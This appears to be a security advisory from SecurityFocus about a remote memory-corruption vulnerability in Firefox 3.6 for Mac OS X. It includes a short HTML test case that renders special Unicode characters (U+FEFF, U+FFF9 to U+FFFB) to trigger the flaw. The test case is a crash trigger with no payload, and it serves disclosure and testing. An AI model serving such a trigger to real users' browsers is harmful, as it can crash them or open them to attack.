source: http://www.securityfocus.com/bid/38943/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Firefox 3.6 for Apple Mac OS X is vulnerable.

NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it. 

<html> <head> <title>Testcase for bug 538065</title> <style type="text/css"> span.test { background: #ff0; } </style> </head> <body> <p>U+FEFF: <span class="test">&#xfeff;</span></p> <p>U+FFF9: <span class="test">&#xfff9;</span></p> <p>U+FFFA: <span class="test">&#xfffa;</span></p> <p>U+FFFB: <span class="test">&#xfffb;</span></p> </body> </html> 